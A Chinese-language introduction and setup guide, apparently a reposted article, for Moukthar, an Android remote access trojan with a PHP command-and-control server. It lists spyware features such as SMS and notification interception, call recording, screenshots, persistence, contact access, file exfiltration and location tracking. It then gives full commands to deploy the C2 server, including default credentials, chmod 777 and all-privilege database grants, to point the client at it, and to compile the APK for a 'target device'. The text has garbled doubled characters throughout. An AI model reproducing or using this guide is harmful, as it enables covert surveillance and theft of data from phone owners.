關(guān)于Moukthar
功能介紹
1、通知監聽(tīng)器;
2、SMS監聽(tīng)器;
3、電話(huà)通話(huà)錄音;
4、圖像捕捉和屏幕截圖;
5、持久化執行;
6、讀取/寫(xiě)入通訊錄;
7、枚舉已安裝的應用程序;
8、下載/上傳文件;
9、獲取設備地理位置信息;
工具要求&依賴(lài)組件
php
composer
mysql
php-mysql驅動(dòng)程序
apache2
a2enmod
工具安裝&配置
廣大研究人員可以直接使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/Tomiwa-Ot/moukthar.git
安裝工具所需的全部依賴(lài)組件,然后將項目中服務(wù)器端(Server)相關(guān)的文件移動(dòng)到“/var/www/html/”中,并安裝依賴(lài)即可:
mv moukthar/Server/* /var/www/html/
cd /var/www/html/c2-server
composer install
cd /var/www/html/web-socket/
composer install
cd /var/www
chown -R www-data:www-data .
chmod -R 777 .
工具默認憑證的用戶(hù)名為“android”,密碼為“the rastafarian in you”。
使用下列語(yǔ)句創(chuàng )建一個(gè)新的sql用戶(hù):
CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
FLUSH PRIVILEGES;
分別在c2-server/.env和web-socket/.env這兩個(gè)文件中設置數據庫憑證,然后執行database.sql文件。
php Server/web-socket/App.php
# OR
sudo mv Server/websocket.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable websocket.service
sudo systemctl start websocket.service
修改“/etc/apache2/sites-available/000-default.conf”:
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/c2-server
DirectoryIndex app.php
Options -Indexes
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
修改“/etc/apache2/apache2.conf”:
Comment this section
#<Directory />
# Options FollowSymLinks
# AllowOverride None
# Require all denied
#</Directory>
Add this
<Directory /var/www/html/c2-server>
Options -Indexes
DirectoryIndex app.php
AllowOverride All
Require all granted
</Directory>
在“/etc/php/*.*/apache2/php.ini”文件中增加php文件上傳的最大大。
; Increase size to permit large file uploads from client
upload_max_filesize = 128M
; Set post_max_size to upload_max_filesize + 1
post_max_size = 129M
在“c2-server/src/View/home.php”和“c2-server/src/View/features/files.php”中的<script>標簽內設置Web Socket服務(wù)器地址:
const ws = new WebSocket('ws://IP_ADDRESS:8080');
使用下列命令重啟apache:
sudo a2enmod rewrite && sudo service apache2 restart
修改“functionality/Utils.java”文件,在客戶(hù)端中設置C2服務(wù)器和Web Socket服務(wù)器地址:
public static final String C2_SERVER = "http://localhost";
public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
最后,使用Android Studio編譯APK文件并部署至目標設備中即可。
工具使用
本文內容不用于商業(yè)目的,如涉及知識產(chǎn)權問(wèn)題,請權利人聯(lián)系51Testing小編(021-64471599-8017),我們將立即處理